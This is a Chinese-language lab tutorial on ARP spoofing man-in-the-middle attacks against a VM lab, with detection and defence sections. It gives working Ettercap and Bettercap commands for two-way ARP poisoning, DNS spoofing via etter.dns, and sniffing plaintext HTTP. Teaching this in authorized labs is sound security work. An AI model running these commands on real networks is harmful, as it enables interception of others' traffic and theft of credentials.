ARP 欺骗全解析:Ettercap 中间人攻击实验
2026/7/13 9:56:54 网站建设 项目流程

文章目录

    • 一、为什么 ARP 欺骗是内网 MITM 的「入门必修课」?
    • 二、ARP 协议速览(安全视角)
      • 2.1 工作流程
      • 2.2 ARP 缓存表
      • 2.3 无状态 = 漏洞根源
    • 三、ARP 欺骗原理
      • 3.1 单向欺骗 vs 双向欺骗
      • 3.2 双向欺骗示意图
      • 3.3 与交换机的关系
    • 四、实验环境准备
      • 4.1 拓扑(专栏标准 Host-Only)
      • 4.2 受害机配置
      • 4.3 攻击机准备
      • 4.4 打快照
    • 五、Ettercap 图形界面实验
      • 5.1 启动与选网卡
      • 5.2 设置目标
      • 5.3 开始 ARP 欺骗
      • 5.4 验证欺骗成功
    • 六、Ettercap 命令行实验(推荐复现)
      • 6.1 基础双向 ARP 欺骗
      • 6.2 配合 DNS 欺骗
      • 6.3 嗅探明文 HTTP
    • 七、Wireshark 分析 ARP 欺骗
      • 7.1 正常 ARP
      • 7.2 欺骗特征
      • 7.3 对比实验记录表
    • 八、Bettercap 现代替代(简览)
    • 九、检测 ARP 欺骗
      • 9.1 主机侧
      • 9.2 网络侧
      • 9.3 Wireshark / IDS 规则思路
      • 9.4 蓝队狩猎问题
    • 十、防御措施汇总
    • 十一、ARP 欺骗与其他攻击链
    • 十二、完整实验步骤清单(90 分钟)
    • 十三、常见踩坑
    • 十四、法律与伦理
    • 十五、本篇小结
    • 附录 A:Ettercap 命令速查
    • 附录 B:ARP 报文字段(Wireshark)
    • 附录 C:与专栏前篇关联

一、为什么 ARP 欺骗是内网 MITM 的「入门必修课」?

局域网通信看似「IP 对 IP」,实际先要「IP → MAC」:

我要访问 192.168.56.30 → 先查:这个 IP 的 MAC 是多少? → 再问:以太网帧发给谁?

这个映射由ARP(Address Resolution Protocol)完成。ARP 设计于可信局域网时代——没有认证,谁都可以回答:

「192.168.56.1 的 MAC 是我!」

攻击者利用这一点,就能成为中间人(MITM)

后果说明
流量嗅探明文 HTTP、FTP、Telnet 可被截获
DNS 欺骗配合 dns.spoof 劫持解析
会话劫持篡改未加密流量
SSL 剥离配合 sslstrip 降级 HTTPS(靶场演示)

上一篇 DNS 缓存投毒 在内网常需先 ARP 欺骗才能把 DNS 响应送到攻击者手里。本文把 ARP +Ettercap一次讲透。


二、ARP 协议速览(安全视角)

2.1 工作流程

主机 A(192.168.56.10)想知道 192.168.56.30 的 MAC: A 广播:「Who has 192.168.56.30? Tell 192.168.56.10」 (ARP Request) ↓ 二层广播 ff:ff:ff:ff:ff:ff 全网收到 30 单播:「192.168.56.30 is at aa:bb:cc:dd:ee:ff」 (ARP Reply) ↓ A 写入 ARP 缓存表

2.2 ARP 缓存表

# Linuxipneigh show arp-n# Windowsarp-a
字段含义
IP目标地址
MAC硬件地址
STATEREACHABLE / STALE 等
过期动态条目会超时更新

静态绑定(防御手段之一):

sudoipneigh replace192.168.56.1 lladdr 08:00:27:xx:xx:xx dev eth0 nud permanent

2.3 无状态 = 漏洞根源

· Request 可广播,Reply 可被任意主机代答 · 收到 Reply 后通常直接更新缓存,不验证「是否我问过」 · 支持 Gratuitous ARP(无故公告):「我是 192.168.56.1,MAC 变了」

Gratuitous ARP本用于 IP 漂移通知,攻击者用来强行刷新全网缓存。


三、ARP 欺骗原理

3.1 单向欺骗 vs 双向欺骗

模式做法效果
单向只骗受害者「网关 MAC 是我」出站流量经攻击者,回程可能不经过
双向(完整 MITM)骗受害者 + 骗网关双向流量都经攻击者

Ettercap 默认双向 ARP 欺骗,形成完整中间人。

3.2 双向欺骗示意图

正常: 受害机 10 ──────────────► 网关 1 ──────► 外网 直接二层转发 ARP 欺骗后: 受害机 10 ──► 攻击者 Kali ──► 网关 1 ──► 外网 ▲ │ └────┘ 回程同样经 Kali 转发

攻击者需开启IP 转发,否则流量到 Kali 后断掉:

# Linux 开启转发sudosysctl-wnet.ipv4.ip_forward=1# 持久化echo'net.ipv4.ip_forward=1'|sudotee-a/etc/sysctl.conf

3.3 与交换机的关系

现代交换机按MAC 地址表转发。ARP 欺骗后:

· 受害机以为网关 MAC = 攻击者 MAC → 发给攻击者网卡 · 网关以为受害机 MAC = 攻击者 MAC → 回程也发给攻击者 · 攻击者再替真实 MAC 转发 → 交换机被「逻辑劫持」

注意:这不同于 MAC 泛洪(物理填满 CAM 表),ARP 欺骗更安静、更常见。


四、实验环境准备

4.1 拓扑(专栏标准 Host-Only)

网关/靶机 Ubuntu 192.168.56.1 (或路由器 VM) Kali 攻击机 192.168.56.10 受害机 Ubuntu 192.168.56.30 网段 192.168.56.0/24

最小两机方案:Kali 10 欺骗 30,把 30 的默认网关设为 10 的「假网关」角色——或三台 VM 更清晰。

4.2 受害机配置

# 192.168.56.30ipaddradd192.168.56.30/24 dev eth0iprouteadddefault via192.168.56.1# 启动 nginx 便于观察sudoaptinstall-ynginxcurlhttp://192.168.56.30# 自测

4.3 攻击机准备

# Kali 自带 ettercapettercap-vsudosysctl-wnet.ipv4.ip_forward=1

4.4 打快照

victim-clean / gateway-clean / kali-clean

五、Ettercap 图形界面实验

5.1 启动与选网卡

sudoettercap-G
Sniff → Unified sniffing → 选 Host-Only 网卡(如 eth1 / enp0s8) Hosts → Scan for hosts(或按 h 扫描) Hosts → Hosts list

应看到192.168.56.1192.168.56.30等。

5.2 设置目标

选中 192.168.56.30 → Add to Target 1(受害机) 选中 192.168.56.1 → Add to Target 2(网关)

Target 1 = 受害方,Target 2 = 第二方(双向欺骗时两个都要)。

5.3 开始 ARP 欺骗

Mitm → Arp poisoning ☑ Sniff remote connections ☑ Only poison one-way (不勾 = 双向,推荐不勾) → Start

5.4 验证欺骗成功

在受害机 30 上:

arp-n|grep192.168.56.1# 网关 MAC 应变为 Kali 网卡 MAC,而非真实网关ipneigh show192.168.56.1

在 Kali 上抓包:

sudotcpdump-ieth1host192.168.56.30-wmitm.pcap

受害机访问外网或curl http://某站,Kali 应能看到其流量。


六、Ettercap 命令行实验(推荐复现)

6.1 基础双向 ARP 欺骗

# -T 文本界面 -q 安静 -M arp ARP模式 /网关IP/受害IP/sudoettercap-T-q-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//
参数含义
-i eth1监听接口
-M arp:remote远程连接也嗅探
/IP1// /IP2//欺骗两端

6.2 配合 DNS 欺骗

编辑/etc/ettercap/etter.dns

www.test.local A 192.168.56.10 *.test.local A 192.168.56.10

启动:

sudoettercap-T-q-ieth1-Pdns_spoof-Marp:remote /192.168.56.1// /192.168.56.30//

受害机:

pingwww.test.local# 应解析并指向 10curlhttp://www.test.local

6.3 嗅探明文 HTTP

受害机访问HTTP(非 HTTPS)站点,Ettercap 可插件记录。
或配合:

sudoettercap-T-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//# 另开终端sudowireshark-ieth1-f"host 192.168.56.30"

过滤器:

ip.addr == 192.168.56.30 && http

右键 →Follow HTTP Stream查看明文。


七、Wireshark 分析 ARP 欺骗

7.1 正常 ARP

arp
  • Request:Who has x.x.x.x?
  • Reply:x.x.x.x is at MAC(来自真实主机)

7.2 欺骗特征

特征说明
大量 Gratuitous ARPOpcode 为 reply,但 Who has 与 Tell 为同一 IP
MAC 冲突同一 IP 对应不同 MAC(时间先后)
高频 ARP ReplyEttercap 持续刷新缓存

过滤器:

arp arp.opcode == 2 # 仅 Reply

7.3 对比实验记录表

时间IP声称 MAC真实归属
T056.1 网关08:00:27:aa网关
T156.1 网关08:00:27:bbKali← 欺骗后

八、Bettercap 现代替代(简览)

Ettercap 经典但略老;Bettercap更活跃:

sudobettercap-ifaceeth1# 交互命令net.probe on net.showsetarp.spoof.targets192.168.56.30setarp.spoof.fullduplextruearp.spoof onsetnet.sniff.localtruenet.sniff on
对比EttercapBettercap
界面GTK / TUI交互式 REPL + Web UI
模块插件caplets 脚本
学习资料极多增长中

专栏建议:Ettercap 懂原理,Bettercap 做日常靶场。


九、检测 ARP 欺骗

9.1 主机侧

# 网关 MAC 是否变化ipneigh show192.168.56.1# 安装 arpwatch(监控 ARP 变化发邮件/日志)sudoaptinstallarpwatch

脚本思路:定期对比网关 MAC 与基线文件。

9.2 网络侧

手段说明
DAI(动态 ARP 检测)企业交换机按 DHCP 表校验 ARP
静态 ARP关键服务器绑定 IP-MAC
802.1X端口认证,非授权设备难介入
NDP 监控IPv6 对应问题用 RA Guard

9.3 Wireshark / IDS 规则思路

告警:同一 IP 在 60 秒内出现 2 个以上不同 MAC 的 ARP Reply 告警:Gratuitous ARP 频率 > 10/分钟(内网主机)

Zeekarp.log:记录 MAC-IP 绑定变化。

9.4 蓝队狩猎问题

· 内网哪台主机在发大量 ARP Reply? · 网关 MAC 是否在多台终端上显示不同值? · 新接入设备是否立即成为某 IP 的「新 MAC」?

十、防御措施汇总

层级措施适用
终端静态 ARP 绑定网关服务器、工控
交换机DAI + DHCP Snooping企业接入层
协议全站 HTTPS、HSTS防嗅探明文
架构网络分段、802.1X减广播域
监控arpwatch、Zeek、NDR发现异常
无线WPA2-Enterprise防开放式 WiFi ARP

现实话:家庭/小实验室靠 HTTPS 最有效;企业靠DAI + 802.1X + 监控


十一、ARP 欺骗与其他攻击链

ARP 欺骗(二层 MITM) ├─► 明文 HTTP 嗅探 ├─► DNS 欺骗(etter.dns / bettercap dns) ├─► SSL 剥离(sslstrip,HTTPS 降级,靶场) ├─► 注入 Cookie / 替换下载文件 └─► 为 NTLM 中继等内网攻击铺路

Kill Chain 位置:内网横向时的中间人前置,常在「立足点」之后。


十二、完整实验步骤清单(90 分钟)

□ 1. 三台 VM Host-Only,确认互 ping □ 2. 受害机记录网关真实 MAC:arp -n □ 3. Kali 开启 ip_forward=1 □ 4. ettercap 双向 ARP 欺骗(CLI 或 GUI) □ 5. 受害机再次 arp -n,确认网关 MAC 变为 Kali □ 6. Wireshark 在 Kali 抓 arp + http 包 □ 7. 受害机 curl 明文 HTTP,Kali Follow Stream □ 8. 配置 etter.dns,验证 DNS 欺骗 □ 9. 停止 ettercap,受害机 ARP 是否恢复(等超时或手动删) □ 10. 写实验报告:原理 + 抓包截图 + 防御建议

十三、常见踩坑

问题原因解决
欺骗后受害机断网未开 ip_forwardsysctl -w net.ipv4.ip_forward=1
选错网卡抓到 WiFi 而非 Host-Onlyip a确认 vboxnet0/eth1
HTTPS 看不到内容加密正常只能看握手;勿在生产搞 sslstrip
Ettercap 目标设反Target1/2 含义两个都要加,双向不勾 one-way
桥接模式实验影响局域网改 Host-Only
arp 缓存不更新静态条目ip neigh flush all
macOS 受害机ARP 行为差异仍可用,注意防火墙

十四、法律与伦理

✅ 允许:自有 VM、书面授权的内网渗透项目、CTF ❌ 禁止:公司办公网、咖啡厅 WiFi、宿舍网「练手」 ❌ 禁止:窃取他人账号、密码、个人信息

中间人能力越大,授权边界越要清晰。渗透报告须写明 ARP 欺骗范围与时长。


十五、本篇小结

┌─────────────────────────────────────────────────────────────┐ │ ARP 欺骗 核心记忆 │ ├─────────────────────────────────────────────────────────────┤ │ ARP 无认证 → 可伪造 Reply / Gratuitous ARP │ │ 双向欺骗 + IP 转发 = 完整 MITM │ │ Ettercap:-M arp:remote /网关// /受害// │ │ 验证:受害机 arp -n 中网关 MAC 是否变攻击机 │ │ 检测:同 IP 多 MAC、异常 Gratuitous ARP │ │ 防御:DAI、静态绑定、HTTPS、802.1X、arpwatch │ └─────────────────────────────────────────────────────────────┘

下一篇预告:《HTTP/HTTPS 安全深度剖析:抓包、解密与证书陷阱》——MITM 之后如何看加密流量。


附录 A:Ettercap 命令速查

# 扫描主机sudoettercap-T-ieth1 // //# 双向 ARP 欺骗sudoettercap-T-q-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//# ARP + DNS 欺骗sudoettercap-T-q-ieth1-Pdns_spoof-Marp:remote /192.168.56.1// /192.168.56.30//# 图形界面sudoettercap-G

附录 B:ARP 报文字段(Wireshark)

字段说明
Opcode 1Request
Opcode 2Reply
Sender MAC / Sender IP谁在说
Target MAC / Target IP问谁 / 告诉谁

Gratuitous ARP:Sender IP == Target IP,用于公告「我在这」。


附录 C:与专栏前篇关联

前篇关联
DNS 安全dns.spoof 依赖 ARP MITM 在内网生效
Wiresharkarphttp过滤器验证
TCP/IPMITM 后仍可抓 SYN/HTTP
Kill Chain内网横向、凭据嗅探前置

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询